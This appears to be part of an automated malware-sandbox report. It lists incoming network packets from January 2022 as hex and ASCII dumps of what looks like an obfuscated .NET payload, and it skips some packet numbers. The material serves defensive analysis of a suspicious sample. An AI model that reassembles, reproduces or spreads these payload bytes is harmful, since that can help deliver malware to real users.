g8e'xXb'xXb`'xXb`'x` L8
2022-01-14 00:51:05 UTC	18	IN	Data Raw: 58 13 23 20 71 01 00 00 28 1e 01 00 06 3a cc db ff ff 26 20 34 01 00 00 38 c1 db ff ff fe 0c 05 00 20 0f 00 00 00 fe 0c 1a 00 9c 20 37 02 00 00 28 1f 01 00 06 39 a4 db ff ff 26 20 f9 01 00 00 38 99 db ff ff 28 d3 00 00 06 20 13 02 00 00 38 8a db ff ff 11 1b 1b 1f 74 9c 20 81 01 00 00 38 7a db ff ff 16 13 68 20 b7 00 00 00 28 1f 01 00 06 3a 68 db ff ff 26 20 60 02 00 00 38 5d db ff ff fe 0c 0a 00 20 11 00 00 00 20 aa 00 00 00 20 38 00 00 00 59 9c 20 db 01 00 00 38 3e db ff ff 11 4f 11 18 1a 5a 11 09 12 09 28 b0 00 00 06 26 20 9c 02 00 00 38 24 db ff ff 7e 4e 00 00 04 28 0c 01 00 06 13 19 20 e5 00 00 00 38 0e db ff ff 11 60 11 53 3f b1 17 00 00 20 1f 02 00 00 38 fb da ff ff fe 0c 05 00 20 0a 00 00 00 20 87 00 00 00 20 2d 00 00 00 59 9c 20 81 00 00 00 38 dc Data Ascii: X# q(:& 48 7(9& 8( 8t 8zh (:h& `8] 8Y 8>OZ(& 8$~N( 8`S? 8 -Y 8
2022-01-14 00:51:05 UTC	19	IN	Data Raw: 00 00 00 20 74 00 00 00 58 9c 20 c1 00 00 00 28 1e 01 00 06 3a 6c d6 ff ff 26 20 71 00 00 00 38 61 d6 ff ff fe 0c 0a 00 20 19 00 00 00 fe 0c 0e 00 9c 20 79 02 00 00 38 49 d6 ff ff 1f 12 13 1d 20 d7 00 00 00 38 3b d6 ff ff 16 13 70 20 a8 00 00 00 28 1f 01 00 06 3a 29 d6 ff ff 26 20 bd 00 00 00 38 1e d6 ff ff 28 f4 00 00 06 25 17 28 f5 00 00 06 11 27 11 13 28 f6 00 00 06 13 3d 20 88 02 00 00 38 fd d5 ff ff fe 0c 0a 00 20 02 00 00 00 fe 0c 40 00 9c 20 52 01 00 00 38 e5 d5 ff ff 11 4c 73 76 00 00 0a 28 d4 00 00 06 1f 40 12 67 28 b0 00 00 06 26 20 59 01 00 00 38 c5 d5 ff ff 20 3e 00 00 00 20 5f 00 00 00 58 fe 0e 0e 00 20 16 00 00 00 28 1e 01 00 06 39 a7 d5 ff ff 26 20 a7 01 00 00 38 9c d5 ff ff fe 0c 05 00 20 01 00 00 00 fe 0c 1a 00 9c 20 76 02 00 00 38 84 d5 Data Ascii: tX (:l& q8a y8I 8;p (:)& 8(%('(= 8 @ R8Lsv(@g(& Y8 > _X (9& 8 v8
2022-01-14 00:51:05 UTC	20	IN	Data Raw: 11 5f 3f 20 30 00 00 20 6b 02 00 00 fe 0e 51 00 38 13 d1 ff ff 38 bb 1f 00 00 20 9a 02 00 00 38 08 d1 ff ff fe 0c 05 00 20 01 00 00 00 20 63 00 00 00 20 56 00 00 00 58 9c 20 8c 00 00 00 38 e9 d0 ff ff 20 f5 00 00 00 20 51 00 00 00 59 fe 0e 0e 00 20 95 01 00 00 38 d0 d0 ff ff fe 0c 0a 00 20 08 00 00 00 20 d6 00 00 00 20 47 00 00 00 59 9c 20 6b 00 00 00 38 b1 d0 ff ff 11 6d 28 f3 00 00 06 13 48 20 34 00 00 00 28 1f 01 00 06 39 99 d0 ff ff 26 20 11 00 00 00 38 8e d0 ff ff 28 d3 00 00 06 20 a5 01 00 00 38 7f d0 ff ff 11 13 1f 0d 11 58 1c 91 9c 20 14 00 00 00 28 1e 01 00 06 39 67 d0 ff ff 26 20 36 02 00 00 38 5c d0 ff ff 11 75 11 1d 18 58 11 07 18 91 9c 20 2b 00 00 00 28 1f 01 00 06 3a 42 d0 ff ff 26 20 3a 00 00 00 38 37 d0 ff ff 00 11 36 28 d7 00 00 06 28 d8 Data Ascii: _? 0 kQ88 8 c VX 8 QY 8 GY k8m(H 4(9& 8( 8X (9g& 68\uX +(:B& :876((
2022-01-14 00:51:05 UTC	22	IN	Data Raw: 0c 49 00 45 02 00 00 00 74 01 00 00 05 00 00 00 38 6f 01 00 00 00 38 30 00 00 00 20 03 00 00 00 38 04 00 00 00 fe 0c 02 00 45 06 00 00 00 05 00 00 00 9f 00 00 00 2b 00 00 00 72 00 00 00 38 00 00 00 53 00 00 00 38 00 00 00 00 11 62 28 e4 00 00 06 3a 61 00 00 00 20 00 00 00 00 28 1e 01 00 06 39 c3 ff ff ff 26 20 01 00 00 00 38 b8 ff ff ff 16 13 57 20 05 00 00 00 38 ab ff ff ff 12 5d 28 72 00 00 0a 7e 6b 00 00 04 40 bc ff ff ff 20 02 00 00 00 38 90 ff ff ff 38 47 00 00 00 20 00 00 00 00 28 1f 01 00 06 3a 7c ff ff ff 26 20 00 00 00 00 38 71 ff ff ff 11 62 28 d9 00 00 06 74 52 00 00 01 28 d0 00 00 06 13 5d 20 04 00 00 00 28 1f 01 00 06 39 4f ff ff ff 26 20 00 00 00 00 38 44 ff ff ff dd 9a 00 00 00 11 62 75 55 00 00 01 13 3a 20 02 00 00 00 28 1f 01 00 06 39 0f Data Ascii: IEt8o80 8E+r8S8b(:a (9& 8W 8](r~k@ 88G (:\|& 8qb(tR(] (9O& 8DbuU: (9
2022-01-14 00:51:05 UTC	23	IN	Data Raw: 20 07 00 00 00 20 5a 00 00 00 58 fe 0e 2c 00 20 f0 01 00 00 38 61 c6 ff ff 20 b4 00 00 00 20 3c 00 00 00 59 fe 0e 40 00 20 57 00 00 00 fe 0e 51 00 38 40 c6 ff ff 20 d0 00 00 00 20 45 00 00 00 59 fe 0e 40 00 20 7c 01 00 00 38 2b c6 ff ff 11 6d 28 fb 00 00 06 20 ec 00 00 00 38 1a c6 ff ff fe 0c 0a 00 20 10 00 00 00 20 bc 00 00 00 20 3e 00 00 00 59 9c 20 77 00 00 00 28 1f 01 00 06 3a f6 c5 ff ff 26 20 7d 00 00 00 38 eb c5 ff ff fe 0c 0a 00 20 0f 00 00 00 fe 0c 40 00 9c 20 aa 01 00 00 38 d3 c5 ff ff 12 08 e0 73 71 00 00 0a 16 7e 0a 00 00 0a 28 c8 00 00 06 20 55 00 00 00 38 b6 c5 ff ff fe 0c 0a 00 20 06 00 00 00 fe 0c 0e 00 9c 20 d5 00 00 00 28 1e 01 00 06 3a 99 c5 ff ff 26 20 c6 00 00 00 38 8e c5 ff ff fe 0c 05 00 20 00 00 00 00 fe 0c 2c 00 9c 20 96 00 00 00 Data Ascii: ZX, 8a <Y@ WQ8@ EY@ \|8+m( 8 >Y w(:& }8 @ 8sq~( U8 (:& 8 ,
2022-01-14 00:51:05 UTC	24	IN	Data Raw: 28 d9 00 00 06 74 52 00 00 01 13 0c 20 02 00 00 00 28 1e 01 00 06 3a a0 fe ff ff 26 20 01 00 00 00 38 95 fe ff ff 1a 16 20 6f 76 00 00 20 7c 42 00 00 73 78 00 00 0a 13 77 20 07 00 00 00 38 78 fe ff ff 38 2f ff ff ff 20 08 00 00 00 38 69 fe ff ff 11 0c 28 dd 00 00 06 28 de 00 00 06 11 0c 28 dd 00 00 06 28 df 00 00 06 11 0c 28 dd 00 00 06 28 e0 00 00 06 11 0c 28 dd 00 00 06 28 e1 00 00 06 73 78 00 00 0a 13 76 20 04 00 00 00 28 1f 01 00 06 39 23 fe ff ff 26 20 04 00 00 00 38 18 fe ff ff 11 76 11 77 28 e2 00 00 06 3a 79 fe ff ff 20 09 00 00 00 fe 0e 52 00 38 f8 fd ff ff dd df 09 00 00 11 62 75 55 00 00 01 13 3a 20 03 00 00 00 38 04 00 00 00 fe 0c 42 00 45 04 00 00 00 26 00 00 00 66 00 00 00 47 00 00 00 05 00 00 00 38 21 00 00 00 11 3a 3a 1a 00 00 00 20 00 00 Data Ascii: (tR (:& 8 ov \|Bsxw 8x8/ 8i((((((((sxv (9#& 8vw(:y R8buU: 8BE&fG8!::
2022-01-14 00:51:05 UTC	26	IN	Data Raw: 00 20 57 00 00 00 58 fe 0e 0e 00 20 af 01 00 00 38 b3 bb ff ff 20 ba 00 00 00 20 5b 00 00 00 59 fe 0e 1a 00 20 f9 01 00 00 38 9a bb ff ff 20 ad 00 00 00 20 3d 00 00 00 58 fe 0e 40 00 20 01 00 00 00 28 1f 01 00 06 3a 7c bb ff ff 26 20 09 00 00 00 38 71 bb ff ff fe 0c 0a 00 20 01 00 00 00 20 44 00 00 00 20 50 00 00 00 58 9c 20 8b 01 00 00 28 1e 01 00 06 39 4d bb ff ff 26 20 68 02 00 00 38 42 bb ff ff fe 0c 0a 00 20 0c 00 00 00 20 77 00 00 00 20 14 00 00 00 58 9c 20 be 00 00 00 28 1f 01 00 06 3a 1e bb ff ff 26 20 9d 01 00 00 38 13 bb ff ff 11 1b 17 1f 6c 9c 20 97 01 00 00 38 03 bb ff ff fe 0c 05 00 20 04 00 00 00 20 4e 00 00 00 20 18 00 00 00 59 9c 20 0e 00 00 00 28 1f 01 00 06 3a df ba ff ff 26 20 97 00 00 00 38 d4 ba ff ff fe 0c 0a 00 20 09 00 00 00 fe 0c Data Ascii: WX 8 [Y 8 =X@ (:\|& 8q D PX (9M& h8B w X (:& 8l 8 N Y (:& 8
2022-01-14 00:51:05 UTC	27	IN	Data Raw: 73 39 01 00 06 13 6d 20 15 00 00 00 28 1e 01 00 06 3a 59 b6 ff ff 26 20 11 00 00 00 38 4e b6 ff ff 7e 5c 00 00 04 28 18 01 00 06 20 22 02 00 00 38 3a b6 ff ff 11 01 25 13 71 3a e6 0d 00 00 20 dd 01 00 00 38 26 b6 ff ff fe 0c 05 00 20 01 00 00 00 20 65 00 00 00 20 50 00 00 00 59 9c 20 2b 00 00 00 38 07 b6 ff ff fe 0c 0a 00 20 15 00 00 00 fe 0c 0e 00 9c 20 19 00 00 00 28 1e 01 00 06 39 ea b5 ff ff 26 20 15 01 00 00 38 df b5 ff ff 1f 10 13 20 20 57 02 00 00 38 d1 b5 ff ff 28 05 01 00 06 11 1b 28 06 01 00 06 13 21 20 29 01 00 00 38 b9 b5 ff ff fe 0c 05 00 20 09 00 00 00 fe 0c 1a 00 9c 20 46 01 00 00 fe 0e 51 00 38 99 b5 ff ff 20 8d 00 00 00 20 2f 00 00 00 59 fe 0e 2c 00 20 60 00 00 00 28 1f 01 00 06 39 7f b5 ff ff 26 20 25 00 00 00 38 74 b5 ff ff fe 0c 05 00 Data Ascii: s9m (:Y& 8N~\( "8:%q: 8& e PY +8 (9& 8 W8((! )8 FQ8 /Y, `(9& %8t
2022-01-14 00:51:05 UTC	28	IN	Data Raw: 13 00 20 56 00 00 00 28 1f 01 00 06 3a 05 b1 ff ff 26 20 bb 01 00 00 38 fa b0 ff ff 20 30 00 00 00 20 30 00 00 00 58 fe 0e 1a 00 20 aa 00 00 00 38 e1 b0 ff ff 11 27 16 11 27 8e 69 28 ee 00 00 06 20 00 00 00 00 28 1e 01 00 06 39 c6 b0 ff ff 26 20 00 00 00 00 38 bb b0 ff ff 16 e0 13 15 20 e6 00 00 00 38 ad b0 ff ff fe 0c 0a 00 13 27 20 a2 01 00 00 38 9d b0 ff ff 11 75 11 1d 18 58 11 31 18 91 9c 20 02 01 00 00 28 1e 01 00 06 3a 83 b0 ff ff 26 20 1c 00 00 00 38 78 b0 ff ff 20 2f 00 00 00 20 6a 00 00 00 58 fe 0e 40 00 20 6c 00 00 00 fe 0e 51 00 38 57 b0 ff ff fe 0c 05 00 20 08 00 00 00 fe 0c 1a 00 9c 20 25 00 00 00 28 1f 01 00 06 39 3e b0 ff ff 26 20 18 00 00 00 38 33 b0 ff ff 20 b7 00 00 00 20 3d 00 00 00 59 fe 0e 0e 00 20 ed 00 00 00 38 1a b0 ff ff 11 3c 1a Data Ascii: V(:& 8 0 0X 8''i( (9& 8 8' 8uX1 (:& 8x / jX@ lQ8W %(9>& 83 =Y 8<
2022-01-14 00:51:05 UTC	30	IN	Data Raw: 59 9c 20 5d 02 00 00 38 b1 ab ff ff 12 4f 28 72 00 00 0a 11 5c 1a 5a 6a 58 73 76 00 00 0a 11 6d 28 f3 00 00 06 28 00 01 00 06 20 63 01 00 00 28 1f 01 00 06 3a 84 ab ff ff 26 20 08 02 00 00 38 79 ab ff ff 20 e0 00 00 00 20 4a 00 00 00 59 fe 0e 40 00 20 a8 00 00 00 28 1f 01 00 06 39 5b ab ff ff 26 20 46 00 00 00 38 50 ab ff ff fe 0c 0a 00 20 18 00 00 00 fe 0c 40 00 9c 20 f1 00 00 00 28 1e 01 00 06 3a 33 ab ff ff 26 20 d4 00 00 00 38 28 ab ff ff 7e 4d 00 00 04 3a 22 c4 ff ff 20 ea 00 00 00 38 14 ab ff ff fe 0c 0a 00 20 03 00 00 00 fe 0c 40 00 9c 20 69 01 00 00 28 1e 01 00 06 3a f7 aa ff ff 26 20 66 01 00 00 38 ec aa ff ff 20 7d 00 00 00 20 5e 00 00 00 59 fe 0e 0e 00 20 d2 00 00 00 fe 0e 51 00 38 cb aa ff ff 2a 00 20 26 02 00 00 fe 0e 51 00 38 bb aa ff ff fe Data Ascii: Y ]8O(r\ZjXsvm(( c(:& 8y JY@ (9[& F8P @ (:3& 8(~M:" 8 @ i(:& f8 } ^Y Q8* &Q8
2022-01-14 00:51:05 UTC	31	IN	Data Raw: 3a 5f a6 ff ff 26 20 22 00 00 00 38 54 a6 ff ff 11 24 8e 69 1a 5b 13 22 20 66 02 00 00 38 42 a6 ff ff 11 23 11 54 61 13 59 20 4b 02 00 00 38 31 a6 ff ff 00 11 2a 73 76 00 00 0a d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 74 2e 00 00 02 80 5c 00 00 04 20 00 00 00 00 28 1e 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 2f 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 37 02 00 00 26 20 00 00 00 00 28 1e 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 37 00 45 02 00 00 00 05 00 00 00 d9 00 00 00 38 00 00 00 00 00 11 2a 73 76 00 00 0a d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 13 28 20 00 00 00 00 28 1e 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 61 00 45 02 00 00 00 05 00 00 00 3f 00 00 00 38 00 00 00 00 Data Ascii: :_& "8T$i[" f8B#TaY K81sv.((t.\ (:& 8/E87& (9& 87E8sv.((( (9& 8aE?8
2022-01-14 00:51:05 UTC	32	IN	Data Raw: 20 86 01 00 00 38 f1 a1 ff ff fe 0c 0a 00 20 1c 00 00 00 fe 0c 0e 00 9c 20 d3 00 00 00 28 1e 01 00 06 3a d4 a1 ff ff 26 20 2b 00 00 00 38 c9 a1 ff ff 20 16 00 00 00 20 1a 00 00 00 58 fe 0e 40 00 20 87 02 00 00 38 b0 a1 ff ff 38 22 ee ff ff 20 70 00 00 00 fe 0e 51 00 38 99 a1 ff ff 16 13 54 20 7f 02 00 00 38 90 a1 ff ff 1f 1e 13 1d 20 d0 00 00 00 28 1f 01 00 06 3a 7d a1 ff ff 26 20 a9 01 00 00 38 72 a1 ff ff fe 0c 0a 00 20 1f 00 00 00 20 5a 00 00 00 20 1d 00 00 00 58 9c 20 de 01 00 00 28 1f 01 00 06 39 4e a1 ff ff 26 20 a2 00 00 00 38 43 a1 ff ff 38 b6 c8 ff ff 20 e9 01 00 00 38 34 a1 ff ff fe 0c 05 00 20 0a 00 00 00 20 cf 00 00 00 20 45 00 00 00 59 9c 20 c9 00 00 00 28 1f 01 00 06 3a 10 a1 ff ff 26 20 a2 02 00 00 38 05 a1 ff ff 11 6e 16 3e d1 fe ff ff 20 Data Ascii: 8 (:& +8 X@ 88" pQ8T 8 (:}& 8r Z X (9N& 8C8 84 EY (:& 8n>
2022-01-14 00:51:05 UTC	33	IN	Data Raw: 00 38 9c 9c ff ff fe 0c 0a 00 20 0b 00 00 00 20 f1 00 00 00 20 50 00 00 00 59 9c 20 43 02 00 00 fe 0e 51 00 38 75 9c ff ff 12 5b fe 15 30 00 00 02 20 34 01 00 00 38 67 9c ff ff 38 86 c2 ff ff 20 14 01 00 00 38 58 9c ff ff 11 6d 28 e7 00 00 06 16 6a 28 e8 00 00 06 20 0d 00 00 00 28 1f 01 00 06 3a 3b 9c ff ff 26 20 8a 00 00 00 38 30 9c ff ff 28 d4 00 00 06 1a 40 d2 01 00 00 20 22 00 00 00 38 1b 9c ff ff 20 dc 00 00 00 20 0d 00 00 00 58 fe 0e 2c 00 20 72 01 00 00 38 02 9c ff ff fe 0c 0a 00 20 1e 00 00 00 fe 0c 40 00 9c 20 56 00 00 00 38 ea 9b ff ff 11 4f 11 18 1a 5a 1e 12 09 28 b0 00 00 06 26 20 6d 01 00 00 38 d1 9b ff ff 28 ce 00 00 06 28 d7 00 00 06 28 d8 00 00 06 13 62 20 06 00 00 00 28 1e 01 00 06 39 b1 9b ff ff 26 20 12 00 00 00 38 a6 9b ff ff fe 0c 0a Data Ascii: 8 PY CQ8u[0 48g8 8Xm(j( (:;& 80(@ "8 X, r8 @ V8OZ(& m8(((b (9& 8
2022-01-14 00:51:05 UTC	35	IN	Data Raw: 01 00 00 c8 35 00 00 32 00 00 00 0a 00 00 01 00 00 00 00 65 5a 00 00 87 00 00 00 ec 5a 00 00 32 00 00 00 0a 00 00 01 00 00 00 00 e2 59 00 00 51 00 00 00 33 5a 00 00 0a 01 00 00 0a 00 00 01 02 00 00 00 0a 0c 00 00 03 01 00 00 0d 0d 00 00 30 00 00 00 00 00 00 00 00 00 00 00 1b 0b 00 00 5c 04 00 00 77 0f 00 00 32 00 00 00 0a 00 00 01 1b 30 04 00 fb 00 00 00 13 00 00 11 02 74 36 00 00 01 6f 79 00 00 0a 28 7a 00 00 0a 39 11 00 00 00 02 74 36 00 00 01 6f 79 00 00 0a 0a dd d3 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 00 02 74 36 00 00 01 6f 7b 00 00 0a 6f 7c 00 00 0a 6f 75 00 00 0a 72 e5 0f 00 70 72 01 00 00 70 6f 7d 00 00 0a 28 7a 00 00 0a 39 2a 00 00 00 02 74 36 00 00 01 6f 7b 00 00 0a 6f 7c 00 00 0a 6f 75 00 00 0a 72 e5 0f 00 70 72 01 00 00 70 6f 7d 00 00 0a Data Ascii: 52eZZ2YQ3Z0\w20t6oy(z9t6oy&t6o{o\|ourprpo}(z9*t6o{o\|ourprpo}
2022-01-14 00:51:05 UTC	36	IN	Data Raw: d3 18 5a 58 13 05 11 05 49 25 13 04 3a cc ff ff ff 08 09 20 65 8b 58 5d 5a 58 2a 00 00 00 13 30 04 00 c5 00 00 00 17 00 00 11 02 03 28 8d 00 00 0a 39 02 00 00 00 17 2a 02 39 06 00 00 00 03 3a 02 00 00 00 16 2a 16 0a 16 0b 16 0c 16 0d 02 7e 64 00 00 04 6f 8e 00 00 0a 39 2a 00 00 00 17 0a 02 1a 6f 8f 00 00 0a 02 1b 6f 8f 00 00 0a 1e 62 60 02 1c 6f 8f 00 00 0a 1f 10 62 60 02 1d 6f 8f 00 00 0a 1f 18 62 60 0c 03 7e 64 00 00 04 6f 8e 00 00 0a 39 2a 00 00 00 17 0b 03 1a 6f 8f 00 00 0a 03 1b 6f 8f 00 00 0a 1e 62 60 03 1c 6f 8f 00 00 0a 1f 10 62 60 03 1d 6f 8f 00 00 0a 1f 18 62 60 0d 06 3a 08 00 00 00 07 3a 02 00 00 00 16 2a 06 3a 07 00 00 00 02 28 b8 00 00 06 0c 07 3a 07 00 00 00 03 28 b8 00 00 06 0d 08 09 fe 01 2a 00 00 00 72 72 db 10 00 70 6f 61 00 00 0a 16 26 Data Ascii: ZXI%: eX]ZX0(99:~do9oob`ob`ob`~do9oob`ob`ob`:::(:(*rrpoa&
2022-01-14 00:51:05 UTC	37	IN	Data Raw: 00 2e 00 fe 09 00 00 28 23 00 00 0a 2a 2e 00 fe 09 00 00 28 b2 00 00 0a 2a 1e 00 28 b3 00 00 0a 2a 3a fe 09 00 00 fe 09 01 00 6f 29 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 83 00 00 0a 2a 3e 00 fe 09 00 00 fe 09 01 00 28 a8 00 00 06 2a 2a fe 09 00 00 6f 35 01 00 06 2a 00 2e 00 fe 09 00 00 28 b4 00 00 0a 2a 2e 00 fe 09 00 00 28 b5 00 00 0a 2a 2e 00 fe 09 00 00 28 b6 00 00 0a 2a 2a fe 09 00 00 6f b7 00 00 0a 2a 00 2a fe 09 00 00 6f b8 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 b9 00 00 0a 2a 2a fe 09 00 00 6f ba 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 4a 00 00 0a 2a 2a fe 09 00 00 6f 4c 00 00 0a 2a 00 2a fe 09 00 00 6f bb 00 00 0a 2a 00 2a fe 09 00 00 6f bc 00 00 0a 2a 00 2a fe 09 00 00 28 74 00 00 0a 2a 00 3a fe 09 00 00 fe 09 01 00 6f Data Ascii: .(#.((:o)>(>(o5.(.(.(oo>(o>(JoLoo(t*:o
2022-01-14 00:51:05 UTC	39	IN	Data Raw: 16 00 00 5e 05 00 00 b3 11 00 00 03 0f 00 00 9a 02 00 00 c6 01 00 00 fb 11 00 00 c2 20 00 00 da 13 00 00 51 1a 00 00 11 0b 00 00 6c 16 00 00 92 1f 00 00 7d 0f 00 00 90 2b 00 00 2b 1e 00 00 2d 03 00 00 ff 1a 00 00 a9 07 00 00 8b 1e 00 00 99 23 00 00 f5 24 00 00 50 16 00 00 3b 11 00 00 e7 1f 00 00 54 0f 00 00 39 19 00 00 8c 03 00 00 36 2a 00 00 59 13 00 00 51 23 00 00 c2 2c 00 00 13 24 00 00 cd 05 00 00 bc 2a 00 00 4e 06 00 00 4e 2b 00 00 de 2c 00 00 e5 26 00 00 89 22 00 00 9b 2e 00 00 05 00 00 00 81 25 00 00 43 2f 00 00 0e 16 00 00 5f 2e 00 00 87 29 00 00 3a 0b 00 00 d2 0f 00 00 16 26 00 00 e0 1a 00 00 2f 07 00 00 53 1f 00 00 84 17 00 00 2b 2f 00 00 2e 29 00 00 0d 13 00 00 2f 24 00 00 51 04 00 00 17 14 00 00 86 00 00 00 5d 0c 00 00 3e 0d 00 00 53 0b 00 00 Data Ascii: ^ Ql}++-#$P;T96YQ#,$NN+,&".%C/_.):&/S+/.)/$Q]>S
2022-01-14 00:51:05 UTC	40	IN	Data Raw: f9 f7 ff ff fe 0c 0e 00 20 1e 00 00 00 fe 0c 29 00 9c 20 dd 00 00 00 28 74 01 00 06 39 dc f7 ff ff 26 20 7d 00 00 00 38 d1 f7 ff ff fe 0c 0e 00 20 1e 00 00 00 fe 0c 29 00 9c 20 fd 00 00 00 fe 0e 20 00 38 b1 f7 ff ff fe 0c 11 00 20 0e 00 00 00 fe 0c 28 00 9c 20 7c 00 00 00 28 74 01 00 06 3a 98 f7 ff ff 26 20 8b 00 00 00 38 8d f7 ff ff 16 13 14 20 5b 01 00 00 28 74 01 00 06 39 7b f7 ff ff 26 20 02 00 00 00 38 70 f7 ff ff 20 8b 00 00 00 20 2e 00 00 00 59 fe 0e 29 00 20 c0 00 00 00 28 74 01 00 06 39 52 f7 ff ff 26 20 96 00 00 00 38 47 f7 ff ff 7e 77 00 00 04 74 36 00 00 01 28 72 01 00 06 80 76 00 00 04 20 02 00 00 00 fe 0e 20 00 38 21 f7 ff ff fe 0c 0e 00 20 14 00 00 00 fe 0c 29 00 9c 20 28 00 00 00 38 0d f7 ff ff 73 73 00 00 0a 13 25 20 54 00 00 00 38 fc f6 Data Ascii: ) (t9& }8 ) 8 ( \|(t:& 8 [(t9{& 8p .Y) (t9R& 8G~wt6(rv 8! ) (8ss% T8
2022-01-14 00:51:05 UTC	41	IN	Data Raw: 74 01 00 06 39 9b f2 ff ff 26 20 8f 00 00 00 38 90 f2 ff ff 38 aa 25 00 00 20 86 01 00 00 38 81 f2 ff ff 20 11 00 00 00 20 7a 00 00 00 58 fe 0e 29 00 20 8c 00 00 00 fe 0e 20 00 38 60 f2 ff ff fe 0c 0e 00 20 0c 00 00 00 20 7b 00 00 00 20 39 00 00 00 58 9c 20 9e 00 00 00 28 73 01 00 06 3a 40 f2 ff ff 26 20 97 00 00 00 38 35 f2 ff ff fe 0c 0e 00 20 08 00 00 00 20 74 00 00 00 20 6b 00 00 00 59 9c 20 e0 00 00 00 38 16 f2 ff ff 20 4d 00 00 00 20 5e 00 00 00 58 fe 0e 29 00 20 7b 00 00 00 38 fd f1 ff ff fe 0c 0e 00 20 04 00 00 00 20 1c 00 00 00 20 18 00 00 00 58 9c 20 0b 01 00 00 38 de f1 ff ff 20 46 00 00 00 20 3b 00 00 00 58 fe 0e 29 00 20 70 00 00 00 28 74 01 00 06 3a c0 f1 ff ff 26 20 c8 00 00 00 38 b5 f1 ff ff fe 0c 0e 00 20 02 00 00 00 fe 0c 29 00 9c 20 90 Data Ascii: t9& 88% 8 zX) 8` { 9X (s:@& 85 t kY 8 M ^X) {8 X 8 F ;X) p(t:& 8 )
2022-01-14 00:51:05 UTC	43	IN	Data Raw: ff 20 aa 00 00 00 20 38 00 00 00 59 fe 0e 28 00 20 76 00 00 00 28 73 01 00 06 3a 2c ed ff ff 26 20 1c 00 00 00 38 21 ed ff ff fe 0c 11 00 20 0e 00 00 00 20 80 00 00 00 20 2a 00 00 00 59 9c 20 f1 00 00 00 38 02 ed ff ff fe 0c 0e 00 20 13 00 00 00 fe 0c 29 00 9c 20 d5 00 00 00 28 73 01 00 06 3a e5 ec ff ff 26 20 03 00 00 00 38 da ec ff ff 11 06 8e 69 1a 5b 13 09 20 49 01 00 00 38 c8 ec ff ff fe 0c 0e 00 20 1c 00 00 00 20 87 00 00 00 20 02 00 00 00 58 9c 20 00 00 00 00 28 73 01 00 06 3a a4 ec ff ff 26 20 00 00 00 00 38 99 ec ff ff fe 0c 0e 00 20 0b 00 00 00 fe 0c 29 00 9c 20 8a 00 00 00 38 81 ec ff ff fe 0c 11 00 20 0d 00 00 00 20 92 00 00 00 20 30 00 00 00 59 9c 20 04 01 00 00 38 62 ec ff ff fe 0c 0e 00 20 07 00 00 00 fe 0c 29 00 9c 20 01 01 00 00 38 4a ec Data Ascii: 8Y( v(s:,& 8! *Y 8 ) (s:& 8i[ I8 X (s:& 8 ) 8 0Y 8b ) 8J
2022-01-14 00:51:05 UTC	44	IN	Data Raw: 28 73 01 00 06 3a e8 e7 ff ff 26 20 7e 00 00 00 38 dd e7 ff ff 20 e3 00 00 00 20 4b 00 00 00 59 fe 0e 28 00 20 31 01 00 00 38 c4 e7 ff ff fe 0c 11 00 20 0f 00 00 00 20 78 00 00 00 20 17 00 00 00 58 9c 20 cb 00 00 00 38 a5 e7 ff ff fe 0c 0e 00 20 04 00 00 00 20 58 00 00 00 20 22 00 00 00 58 9c 20 4f 00 00 00 38 86 e7 ff ff fe 0c 0e 00 20 00 00 00 00 fe 0c 29 00 9c 20 44 01 00 00 38 6e e7 ff ff fe 0c 0e 00 20 09 00 00 00 fe 0c 29 00 9c 20 1f 00 00 00 28 74 01 00 06 3a 51 e7 ff ff 26 20 96 00 00 00 38 46 e7 ff ff 11 26 11 23 11 26 11 23 91 11 1a 11 23 91 61 d2 9c 20 cc 00 00 00 38 2b e7 ff ff 20 08 00 00 00 20 52 00 00 00 58 fe 0e 29 00 20 0e 00 00 00 38 12 e7 ff ff fe 0c 0e 00 20 0e 00 00 00 20 90 00 00 00 20 5f 00 00 00 59 9c 20 2e 00 00 00 28 73 01 00 06 Data Ascii: (s:& ~8 KY( 18 x X 8 X "X O8 ) D8n ) (t:Q& 8F&#&##a 8+ RX) 8 _Y .(s
2022-01-14 00:51:05 UTC	45	IN	Data Raw: 20 94 00 00 00 20 31 00 00 00 59 9c 20 7e 00 00 00 38 83 e2 ff ff fe 0c 11 00 20 09 00 00 00 20 b9 00 00 00 20 3d 00 00 00 59 9c 20 db 00 00 00 38 64 e2 ff ff 20 2b 00 00 00 20 12 00 00 00 58 fe 0e 28 00 20 27 00 00 00 28 73 01 00 06 3a 46 e2 ff ff 26 20 18 00 00 00 38 3b e2 ff ff fe 0c 0e 00 20 0c 00 00 00 20 d6 00 00 00 20 47 00 00 00 59 9c 20 48 01 00 00 38 1c e2 ff ff fe 0c 0e 00 20 13 00 00 00 20 bf 00 00 00 20 45 00 00 00 59 9c 20 1f 00 00 00 28 74 01 00 06 3a f8 e1 ff ff 26 20 88 00 00 00 38 ed e1 ff ff fe 0c 0e 00 20 11 00 00 00 20 92 00 00 00 20 29 00 00 00 58 9c 20 8d 00 00 00 28 73 01 00 06 39 c9 e1 ff ff 26 20 23 01 00 00 38 be e1 ff ff 20 92 00 00 00 20 4c 00 00 00 59 fe 0e 29 00 20 1c 00 00 00 28 73 01 00 06 39 a0 e1 ff ff 26 20 ba 00 00 00 Data Ascii: 1Y ~8 =Y 8d + X( '(s:F& 8; GY H8 EY (t:& 8 )X (s9& #8 LY) (s9&
